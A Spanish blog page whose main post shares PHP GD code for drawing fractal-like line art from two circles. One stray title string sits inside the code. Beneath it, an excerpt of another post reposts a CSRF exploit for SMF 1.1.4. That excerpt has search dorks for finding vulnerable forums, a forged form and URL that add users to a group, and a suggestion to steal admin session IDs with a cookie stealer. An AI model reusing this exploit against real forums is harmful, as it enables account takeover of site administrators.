Ir al contenido principal

Mantras mentales, programacion, fractales y Marths

En la busqueda para el desarrollo de fractales, generé este código para poder hacer imágenes de forma aleatoria, se toman dos circulos y se van uniendo los puntos a partir de diferentes grados. 

Si quieren jugar con el código, las variables que tendrán que modificar para ver diferentes resultados son las siguientes: 

$tamanioX - Define el tamaño completo de X en la imagen
$tamanioY - Define el tamaño completo de Y en la imagen

$radioG - Define el radio para obtener los puntos en la circunferencia
$radioPG - Define el radio para obtener los puntos en la circunferencia

En el segundo for: 

for ($b=0; $b<=360; $b=$b+10)

Podemos cambiar el +10 por algún otro ángulo, en esa parte indica que cada 10° genere un punto. 

En el tercer for: 

        for ($a=0; $a<=360; $a=$a+$b1)

Podemos cambiar el valor de $b1 por algún otro, para que se vaya determinando un ángulo diferente al generarse el segundo punto. 

Se calculan los puntos determinados de la elipse grande y de la pequeña, y se traza una línea entre los dos, como se detalla en la siguiente imagen: 





El primer ciclo, genera un aumento de la imagen que se está dibujando, con un mayor tamaño que se define en el aumento de $radioG y $radioPG. 

Les dejo el código con valores predefinidos que generan una grandiosa imagen, como siempre aquí y en pastebin y al final adjunto varias imágenes generadas con diferentes valores. 



///////Alfonso Cuevas/////////////////////////
///////komtec1 [ at ] gmail [ dot ] com///////
///////komtec1.blogspot.com///////////////////

$tamanioX = 3600;
$tamanioY = 3600;

$img = imagecreatetruecolor($tamanioX, $tamanioY);

$x = $tamanioX/2;
$y = $tamanioY/2;

$radioG = 120;
$radioP = 5;
$radioPG = 250;

$blanco = imagecolorallocate($img, 255, 255, 255);
$rojo   = imagecolorallocate($img, 255,   0,   0);
$verde = imagecolorallocate($img,   0, 255,   0);
$azul  = imagecolorallocate($img,   255,   0, 255);

// dibujar el circulo grande
#imagearc($img, $x, $y, $x+$radioG, $y+$radioG,  0, 360, $rojo);
// dibujar el circulo pequenio
#imagearc($img, $x, $y, $x+$radioP, $y+$radioP,  0, 360, $rojo);

$b1 = 20;
$b2 = 10;

for ($c=0; $c<=11; $c++)
{
for ($b=0; $b<=360; $b=$b+10)
{
$color = imagecolorallocate($img, rand(0,255), rand(0,255), rand(0,255));
for ($a=0; $a<=360; $a=$a+$b1)
{
$puntoxG1 = $x +$radioG* cos(deg2rad($a)+(pi()/180));
//Para que sea una elipse, comentar arriba y quitar el comentario abajo
//$puntoxG1 = $x +$radioG* 2*(cos(deg2rad($a)+(pi()/180)));
$puntoyG1 = $y +$radioG* sin(deg2rad($a)+(pi()/180));
#imagesetpixel($img, round($puntoxG1),round($puntoyG1), $verde);

$puntoxP1 = $x +$radioPG* cos(deg2rad($b)+(pi()/180));
//Para que sea una elipse, comentar arriba y quitar el comentario abajo
//$puntoxP1 = $x +$radioPG* 2*(cos(deg2rad($b)+(pi()/180)));
$puntoyP1 = $y +$radioPG* sin(deg2rad($b)+(pi()/180));
#imagesetpixel($img, round($puntoxP1),round($puntoyP1), $blanco);Mantras mentales, programacion y Marths

imageline($img, $puntoxG1, $puntoyG1, $puntoxP1, $puntoyP1, $blanco);

}
#imagestring($img, 5, $puntoxP1, $puntoyP1, " $puntoxG1 $puntoyG1", $rojo);
}
$b1=$b1+15;
$b2++;
$radioG = $radioG+100;
$radioPG = $radioPG+100;
}

// imprimir la imagen en el navegador
header("Content-type: image/png");
imagepng($img);

// liberar memoria
imagedestroy($img);

?>

Link en pastebin: 

http://pastebin.com/09QDjpQh






















Por cierto, el término Marths lo pensé cuando Alejandro Hernandez (nitr0us) me dijo: maths+arts! 

Pasé el mismo código a Javascript, corre genial en navegador también, aunque ese lo quiero hacer interactivo con interrupciones. 

De vez en cuando es necesaria la distracción mental del mundo actual. 

PD. Si generan imágenes con este código, muéstrenla en los comentarios o por twitter @Komtec1 

PD2. Si modifican o mejoran el code, les agradecería me enseñaran para ver que genera con las modificaciones! :D 

PD3. En el código dejé comentado para que lo puedan hacer con elipses, en vez de que sean con círculos, aunque a mi me gustó mucho más el como se genera con círculos, por eso lo dejo así. 

Saludos

Alfonso Cuevas aka Komtec1 

Comentarios

Entradas populares de este blog

Solución [fix] a hamachi Logging in .. failed, busy

Hola!

Aquí con una pequeña entrada, pero que a más de uno le será útil.

Tengo hamachi instalado en varias máquinas, pero en una precisamente al reiniciar, algunas veces me da este problema:

usuarioserver@server:~$ sudo hamachi login
[sudo] password for usuarioserver:
Logging in .. failed, busy

Lo busqué en internet y la "solución" que dan, es reinstalar hamachi, y para los que han instalado hamachi en ubuntu, saben que no es una opción, pues se tendrían que hacer estos pasos: 
sudo apt-get remove logmein-hamachi sudo dpkg -i logmein-hamachixxx.deb sudo apt-get install -f
Para lo cual (siempre) es molesto hacer esos pasos, y algunas veces la configuración se llega a perder. 
Para solucionar ese problema, basta con hacer un: 
sudo /etc/init.d/logmein-hamachi force-reload
Esto forzará el reinicio de hamachi, y así después hacen: 
sudo hamachi login
Y listo, el problema de failed busy desaparece y los deja loguear bien en la red de hamachi. 
Espero les sirva! :D 
Saludos 
Komtec…

Integrar API de Google Maps, archivos kml, kmz y otras fumarolas :D

Ya que andamos en eso de la posteada ahora les voy a dejar un pequeño manual sobre como integrar la API de maps (google) dentro de nuestro código, hay varia documentación en la página developers de google, pero realmente lo que uno busca cuando pone en google: "integrar api de maps" es ver un ejemplo claro y directo para que se pueda entender de mejor forma.

Así que pues ya comentada la información de arriba les paso a dejar un ejemplo.

Lo primero que tenemos que poner en nuestro código es la llamada a la API de maps:


<script type="text/javascript" src="http://maps.googleapis.com/maps/api/js?sensor=false&language=es"></script>En este caso la variable sensor está en false, esto nos indica que no hay un dispositivo gps que pueda tomar la ubicación (se pone generalmente en true cuando es para aplicación movil, llámese celular o tableta)El lenguaje declaramos español, esto es para los menús que se van a mostrar en el mapa. Una vez que tenemo…

SMF 1.1.4 - Add User In Group [CSRF]

Bueno en primera este post lo saque de remoteexecution.es el link es este:

http://www.remoteexecution.es/foro/index.php?topic=879

Dork: "SMF 1.1.4"
Dork (SID): inurl:index.php inurl:sid= "SMF 1.1.4"


< h t m l >
< h e a d >
< b o d y >
< action="http://adress.com/path/index.php?action=membergroups;sa=members;group=GroupID" method="post" type="text" name="toAdd" id="toAdd" size="30">
< type="submit" name="add" value="Add Members">
< type="hidden" name="sc" value="ADMIN SESSION ID">
< /form>
< /body>
< /html>

o si no tambien se puede usar

forum/path/index.php?action=membergroups;sa=members;group=groupid;toAdd=usertoadd&add=Add+Members&sc=sid
by Syntacks!

Todo lo que usted necesita es administrador identificación de la sesión (SID), intentan engañar a los admin (utilizando cookie stealer etc ..)

|| …